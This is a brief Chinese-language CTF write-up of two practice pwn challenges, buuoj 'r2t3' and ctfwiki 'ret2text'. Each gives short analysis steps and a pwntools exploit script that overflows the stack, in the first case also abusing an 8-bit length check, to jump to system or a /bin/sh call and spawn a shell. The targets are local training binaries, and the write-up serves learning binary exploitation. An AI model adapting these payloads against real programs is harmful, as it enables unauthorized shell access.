1. buuoj-r2t3
- 检查保护,开启NX
-
寻找内存中存在的system函数地址
-
寻找函数的溢出点
-
这里构造的字符串长度超过int8的表示范围。如下图,只要后面八位在范围之内即可
-
-
exp
from pwn import * context.log_level = 'debug' p = process('./r2t3') shell = 0x804858b # step 1 构造栈溢出 payload = b'a'*0x15 + p32(shell) # step 2 构造整数溢出 payload = payload.ljust(261,b'a') p.sendlineafter('[+]Please input your name:\n',payload) p.interactive()
2 .ctfwiki - ret2text
-
检查保护,开启NX
-
寻找内存中的system函数
这里的system调用还需要判断条件,因此直接找到system的函数地址,及其参数bin/sh的地址
-
寻找函数的溢出点
4.exp
from pwn import *
p = process('./ret2text')
context.log_level = 'debug'
bin_sh = 0x8048763
system_plt = 0x8048490
secure = 0x80485fd
#---------------------system函数--------返回地址---函数的参数--
payload = b'a'*0x70 + p32(system_plt) + p32(0) + p32(bin_sh)
p.sendafter('There is something amazing here, do you know anything?\n',payload)
p.interactive()